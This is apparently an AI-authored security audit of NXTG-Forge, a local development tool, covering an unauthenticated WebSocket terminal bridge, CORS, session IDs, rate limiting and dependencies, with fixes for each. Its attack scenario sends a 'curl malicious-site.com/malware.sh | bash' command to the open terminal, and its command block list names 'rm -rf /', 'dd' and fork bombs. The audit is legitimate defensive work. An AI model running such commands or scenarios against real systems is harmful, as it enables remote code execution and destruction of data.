Version: 3.0.0 Release Type: MIT Open Source Last Updated: 2026-02-05 Status: PRODUCTION HARDENING REQUIRED
- Executive Summary
- Security Audit Findings
- Critical Issues & Remediation
- Security Architecture
- Dependency Security
- Incident Response
- Security Checklist
NXTG-Forge is a next-generation AI-orchestrated development system designed for local development with multi-device access support. Current implementation has several critical security gaps that must be remediated before public release.
Key Risks:
- WebSocket terminal connections lack authentication
- PTY bridge accepts unauthenticated code execution
- CORS configured as permissive (
origin: true) - Session IDs use weak random generation
- No rate limiting on API endpoints
- Feedback API lacks input validation
Audience: Developers using Claude Code CLI on local networks Threat Model: Trusted local network assumed; untrusted remote network access NOT supported
Status: PASS
Evidence:
.envfile is in.gitignore(line 39-44).env.examplecontains no secrets - only example configuration.env.local,*.env, and*.env.*patterns properly excluded- No hardcoded API keys found in TypeScript source code
- AI integration uses Claude Code CLI (user's pro subscription) - no API key needed
Finding:
Location: /home/axw/projects/NXTG-Forge/v3
Files Checked: All .ts/.tsx files in src/
Result: NO hardcoded secrets detected
Recommendation: PASS - Continue current practice of environment-based configuration
Status: CRITICAL RISK
Vulnerable Code:
// src/server/pty-bridge.ts, lines 131-183
wss.on("connection", async (ws: WebSocket, request: http.IncomingMessage) => {
// NO AUTHENTICATION CHECK
// NO SESSION VALIDATION
const url = new URL(request.url!, `http://${request.headers.host}`);
const runspaceId = url.searchParams.get("runspace");
// Access granted immediately
const runspace = runspaceManager.getActiveRunspace();
const ptySession = await wslBackend.attachPTY(runspace!);
// Message handler with NO command filtering
ws.on("message", (message: Buffer) => {
const data = JSON.parse(message.toString());
switch (data.type) {
case "input":
session.pty.pty.write(data.data); // Direct shell access
case "execute":
executeCommand(session.pty, session, data.command); // No sanitization
}
});
});Issues:
| Issue | Severity | Impact |
|---|---|---|
| No WebSocket authentication | CRITICAL | Remote code execution by any network client |
| Session ID weakness (Math.random) | HIGH | Session hijacking via brute force |
| No command filtering | CRITICAL | Unrestricted destructive operations |
| No origin verification | HIGH | CSRF attacks from malicious sites |
| No rate limiting | MEDIUM | DoS via command flood |
| Weak session generation | HIGH | 36^7 combinations = 78 billion (brute-forceable) |
Attack Scenario:
// Attacker on same network can:
const ws = new WebSocket('ws://192.168.1.206:5051/terminal');
ws.onopen = () => {
ws.send(JSON.stringify({
type: 'execute',
command: 'curl http://malicious-site.com/malware.sh | bash'
}));
};Remediation Required:
-
Implement Authentication for WebSocket
// Add token validation before PTY access wss.on("connection", async (ws: WebSocket, request: http.IncomingMessage) => { const url = new URL(request.url!, `http://${request.headers.host}`); const authToken = url.searchParams.get("token"); if (!authToken || !validateToken(authToken)) { ws.close(4001, "Unauthorized"); return; } // Continue with PTY setup });
-
Use Cryptographically Secure Session IDs
import { randomBytes } from 'crypto'; const sessionId = randomBytes(32).toString('hex'); // 256-bit entropy
-
Implement Origin Verification
const allowedOrigins = [ 'http://localhost:5050', 'http://127.0.0.1:5050', // Only local origins in development ]; if (!allowedOrigins.includes(request.headers.origin || '')) { ws.close(4003, "Forbidden"); return; }
-
Add Command Filtering
const DANGEROUS_COMMANDS = [ 'rm -rf /', 'dd if=/dev/zero', 'fork {}', // bash bomb ':(){:|:&};:', // another bash bomb ]; function isCommandDangerous(cmd: string): boolean { return DANGEROUS_COMMANDS.some(dangerous => cmd.includes(dangerous)); }
-
Implement Rate Limiting
const sessionRateLimits = new Map<string, number[]>(); function checkRateLimit(sessionId: string, now = Date.now()): boolean { const times = sessionRateLimits.get(sessionId) || []; const recent = times.filter(t => now - t < 60000); // 1 minute window if (recent.length >= 100) { return false; // Rate limit exceeded } recent.push(now); sessionRateLimits.set(sessionId, recent); return true; }
Timeline: FIX BEFORE RELEASE - This is blocking public release
Status: MEDIUM RISK
Vulnerable Code:
// src/server/api-server.ts, lines 119-150
const clients = new Set<WebSocket>();
wss.on("connection", (ws) => {
clients.add(ws);
// NO AUTH
ws.on("message", (data) => {
try {
const message = JSON.parse(data.toString());
handleWSMessage(ws, message);
} catch (error) {
console.error("Invalid WebSocket message:", error);
}
});
});Issues:
- No authentication on main WebSocket server
- Parses untrusted JSON without schema validation
- Broadcast function sends state to unauthenticated clients
- No message size limits
Remediation:
// Add Zod schema validation
const WSMessageSchema = z.object({
type: z.enum([
'ping',
'state.update',
'command.execute',
'pong',
'heartbeat'
]),
payload: z.unknown().optional(),
correlationId: z.string().optional(),
});
const MAX_MESSAGE_SIZE = 1024 * 100; // 100KB limit
wss.on("connection", (ws) => {
// Validate origin on upgrade
const origin = ws.upgradeReq.headers.origin;
if (!isLocalOrigin(origin)) {
ws.close(4003, "Forbidden");
return;
}
clients.add(ws);
ws.on("message", (data) => {
if (data.length > MAX_MESSAGE_SIZE) {
ws.close(4009, "Message too large");
return;
}
try {
const message = JSON.parse(data.toString());
const validated = WSMessageSchema.parse(message);
handleWSMessage(ws, validated);
} catch (error) {
console.error("Invalid WebSocket message:", error);
// Don't send detailed error to client
ws.send(JSON.stringify({ type: 'error', message: 'Invalid message' }));
}
});
});Status: MEDIUM RISK (Development-Appropriate)
Current Code:
// src/server/api-server.ts, lines 91-96
app.use(
cors({
origin: true, // Allow ALL origins
credentials: true,
}),
);Issue: Permissive CORS enables CSRF attacks from ANY website
Development Status: ACCEPTABLE for local development Production Status: UNACCEPTABLE for public release
Remediation for Production:
const allowedOrigins = [
'http://localhost:5050',
'http://localhost:5051',
'http://127.0.0.1:5050',
'http://127.0.0.1:5051',
// Add user's configured domains if multi-device access needed
];
app.use(
cors({
origin: (origin, callback) => {
// Allow requests with no origin (like curl, Postman, or mobile apps)
if (!origin) return callback(null, true);
if (allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('CORS not allowed'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE', 'PATCH'],
allowedHeaders: ['Content-Type', 'Authorization'],
}),
);Status: GOOD (with gaps)
Evidence:
- Zod validation schemas implemented ✓
- Path traversal protection in place ✓
- XSS prevention via React (automatic) ✓
- Command injection tests present ✓
Test Coverage:
// src/test/security/input-validation.test.ts
- XSS prevention: Regex blocking <script>, javascript:, onerror=
- Command injection: Blocking shell metacharacters [<>{}();&|$`]
- Path traversal: Blocking "..", absolute paths outside .claude/
- File extensions: Whitelist enforcement (.md, .json, .jsonl, .yml, .yaml, .log)
- Rate limiting: Per-user request window trackingGap Found:
Feedback API lacks validation:
// src/server/api-server.ts, lines 2003-2040
app.post("/api/feedback", async (req, res) => {
const { rating, category, description, url, userAgent, timestamp } = req.body;
// Missing validation on description field
// Missing rate limiting
// Should validate rating is 1-5
// Should validate category is whitelisted
});Remediation:
const FeedbackSchema = z.object({
rating: z.number().min(1).max(5),
category: z.enum([
'bug',
'feature-request',
'performance',
'ui-ux',
'documentation',
'other'
]),
description: z.string()
.min(10)
.max(5000)
.refine(val => !/[<>{}();&|$`]/i.test(val), {
message: 'Description contains invalid characters'
}),
url: z.string().url().optional(),
userAgent: z.string().optional(),
timestamp: z.string().datetime().optional(),
});
app.post("/api/feedback", async (req, res) => {
try {
const validated = FeedbackSchema.parse(req.body);
// Process validated feedback
} catch (error) {
return res.status(400).json({
success: false,
error: 'Invalid feedback data'
});
}
});Status: 1 HIGH VULNERABILITY FOUND
npm audit Results:
HIGH: @isaacs/brace-expansion <= 5.0.0
CVE: GHSA-7h2j-956f-4vf2
Type: Uncontrolled Resource Consumption
CVSS: Not scored
Fix Available: Yes
Remediation:
npm audit fixThis vulnerability is in an indirect dependency and can be patched by npm automatically.
Status: NOT IMPLEMENTED (By Design)
Current Model:
- Local development tool (no user accounts)
- Assumes trusted local network
- Single-user on developer machine
- No multi-tenant isolation
For Open Source Release:
- This is ACCEPTABLE for a local dev tool
- Document clearly: "Not for untrusted network access"
- Add warnings in startup logs
If multi-user support added later:
// Would need JWT + RBAC
import jwt from 'jsonwebtoken';
const JWT_SECRET = process.env.JWT_SECRET;
function generateToken(userId: string): string {
return jwt.sign({ sub: userId }, JWT_SECRET, {
expiresIn: '24h',
algorithm: 'HS256'
});
}
function verifyToken(token: string): any {
return jwt.verify(token, JWT_SECRET);
}
// Middleware
app.use((req, res, next) => {
const token = req.headers.authorization?.split(' ')[1];
if (!token) return res.status(401).json({ error: 'Unauthorized' });
try {
req.user = verifyToken(token);
next();
} catch {
res.status(401).json({ error: 'Invalid token' });
}
});Status: GOOD
Evidence:
- Generic error messages returned to clients
- Detailed errors only logged server-side
- Stack traces not exposed in API responses
- Sentry error tracking optional (can be disabled)
Example (Good):
// Proper: Generic error message
res.status(500).json({
success: false,
error: "Failed to initialize worker pool"
});
// Not: Exposing details
// res.status(500).json({ error: error.stack });Status: BASIC (Suitable for dev tool)
Current Logging:
- Console logs for all major operations
- Sentry integration for error tracking
- Memory service tracks governance events
- Sentinel logs for decision audit
For Public Release:
- Current logging is acceptable for development tool
- Users can enable Sentry DSN for error tracking
- No PII is logged by default
- Session logs don't expose sensitive data
Recommendation:
// Add structured logging
import winston from 'winston';
const logger = winston.createLogger({
level: process.env.LOG_LEVEL || 'info',
format: winston.format.json(),
transports: [
new winston.transports.File({ filename: 'error.log', level: 'error' }),
new winston.transports.File({ filename: 'combined.log' }),
],
});
// Log security events
logger.info('WebSocket connection', {
sessionId,
timestamp: new Date().toISOString(),
// Don't log sensitive data
});Status: NOT IMPLEMENTED (Missing)
Risk: API endpoints lack rate limiting - vulnerable to DoS
Endpoints Needing Rate Limiting:
POST /api/feedback- Should limit to 10 req/hour per IPPOST /api/commands/execute- Should limit to 100 req/minute per sessionPOST /api/workers/tasks- Should limit to 50 req/minute- All other endpoints - 200 req/minute default
Implementation:
import rateLimit from 'express-rate-limit';
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // Limit each IP to 100 requests per windowMs
message: 'Too many requests, please try again later.',
standardHeaders: true, // Return rate limit info in RateLimit-* headers
legacyHeaders: false, // Disable X-RateLimit-* headers
});
// Apply to all routes
app.use('/api/', limiter);
// Stricter limits for sensitive endpoints
const strictLimiter = rateLimit({
windowMs: 60 * 1000, // 1 minute
max: 5,
});
app.post('/api/feedback', strictLimiter, (req, res) => {
// Handle feedback
});| Issue | File | Line | Fix Time | Status |
|---|---|---|---|---|
| PTY Bridge No Auth | pty-bridge.ts | 131 | 4 hours | NOT DONE |
| Weak Session IDs | pty-bridge.ts | 211 | 1 hour | NOT DONE |
| No Command Filtering | pty-bridge.ts | 70-78 | 2 hours | NOT DONE |
| No Origin Verification | pty-bridge.ts | 44-52 | 1 hour | NOT DONE |
| Issue | File | Line | Fix Time | Status |
|---|---|---|---|---|
| npm audit HIGH | package.json | - | 0.5 hour | FIXABLE |
| WebSocket Auth | api-server.ts | 119 | 2 hours | NOT DONE |
| Feedback Validation | api-server.ts | 2003 | 1 hour | NOT DONE |
| Rate Limiting | api-server.ts | - | 2 hours | NOT DONE |
| CORS Hardening | api-server.ts | 91 | 1 hour | NOT DONE |
| Issue | File | Line | Fix Time | Status |
|---|---|---|---|---|
| Structured Logging | utils/logger.ts | - | 2 hours | NOT DONE |
| Winston Integration | - | - | 1 hour | NOT DONE |
| Security Headers | api-server.ts | - | 1 hour | NOT DONE |
Threat Level: LOCAL NETWORK ONLY (Not Internet)
Trusted Actors:
- Developer running NXTG-Forge on their machine
- Other machines on same physical network (WiFi/LAN)
- Claude Code CLI (user's own account)
Untrusted Actors:
- Remote internet access
- Other users on developer's machine
- Malicious websites
- Network sniffers (unless TLS added)
Layer 1: Code Validation (Implemented)
├── Input schema validation (Zod)
├── Path traversal blocking
└── XSS prevention (React automatic)
Layer 2: Access Control (MISSING)
├── Authentication (WebSocket)
├── Session validation
└── Origin verification
Layer 3: Resource Protection (PARTIAL)
├── Rate limiting (MISSING)
├── Message size limits (PARTIAL)
└── Session timeout (5 minutes)
Layer 4: Observability (BASIC)
├── Console logging
├── Sentry integration (optional)
└── Governance event tracking
Layer 1: Network (Add)
├── TLS/WSS for multi-device access
├── Firewall rules (documented)
└── VPN recommendation for remote
Layer 2: Authentication (Add)
├── Token-based for WebSocket
├── HMAC signing for critical operations
└── Session binding to IP/user-agent
Layer 3: Authorization (Add if multi-user)
├── Role-based access control
├── Command whitelisting
└── Resource quotas per session
Layer 4: Encryption (Optional)
├── AES-256 for state files
├── Encrypted session storage
└── HTTPS for all API calls
Direct Dependencies: 375 Dev Dependencies: 234 Total: 683 Vulnerabilities Found: 1 HIGH
Package: @isaacs/brace-expansion
Version: 5.0.0
Severity: HIGH
Type: Uncontrolled Resource Consumption (CWE-1333)
Affected Range: <=5.0.0
Fix Available: npm audit fix
Status: NOT IN DIRECT DEPENDENCIES (indirect via glob)
Impact: Low (glob is only used in file matching, not user-controlled input)
Security Updates:
- Run
npm auditbefore each release - Keep Node.js >= 18.0.0
- No external API keys needed (uses Claude Code CLI)
- Critical dependencies:
- Express: Web framework
- ws: WebSocket
- zod: Input validation
- React: Frontend framework
No dependencies on:
- Outdated crypto libraries
- Unmaintained packages
- Packages with known exploits
- Discovery: Report to security contact
- Verification: Confirm the vulnerability
- Assessment: Evaluate severity and impact
- Notification: Alert affected users
- Remediation: Develop and test fix
- Release: Issue patch version
- Post-Mortem: Analyze root cause
For security vulnerabilities, create an issue marking security label on GitHub.
- PTY Bridge Authentication - Implement token validation
- Session ID Strength - Use crypto.randomBytes(32)
- Command Filtering - Block dangerous operations
- Origin Verification - Only accept local origins
- Dependency Audit - Run
npm audit fix - CORS Hardening - Whitelist allowed origins
- WebSocket Auth - Validate tokens on connection
- Feedback Validation - Add Zod schema
- Rate Limiting - Implement express-rate-limit
- Security Headers - Add helmet.js or manual headers
- Error Handling - Verify no stack traces exposed
- Logging - Ensure no sensitive data logged
- Documentation - Add SECURITY.md to repo
- Testing - Run
npm run test:security
- Monthly: Run
npm audit - Quarterly: Security code review
- Annually: Full penetration test
- Per-release: Security audit pass
- Per-commit: Lint check for secrets
- NODE_ENV=production
- All security middleware enabled
- Error tracking configured (Sentry)
- Rate limiting active
- CORS properly scoped
- TLS enabled for multi-device
- Firewall rules documented
- Security headers configured
- Audit logging enabled
- Backup/restore tested
-
Fix PTY Bridge (CRITICAL)
- Add authentication via token
- Use secure random session IDs
- Add command filtering
- Implement origin verification
-
Fix Dependencies
npm audit fix
-
Add Input Validation
- Feedback API schema
- WebSocket message validation
- Implement Rate Limiting
- Add Security Headers
- Document Security Policy
- Security Review Process
- Monthly Audits
- User Feedback Loop
- Incident Response Process
- Community Security Guidelines
- OWASP Top 10 2021
- NIST Cybersecurity Framework
- Express Security Best Practices
- WebSocket Security Considerations
- Node.js Security Best Practices
| Date | Author | Change |
|---|---|---|
| 2026-02-05 | Forge Security Agent | Initial comprehensive audit |
| - | - | - |
Status: PENDING IMPLEMENTATION Risk Level: HIGH (DO NOT RELEASE PUBLICLY WITHOUT FIXES) Next Review: After Priority 1 fixes complete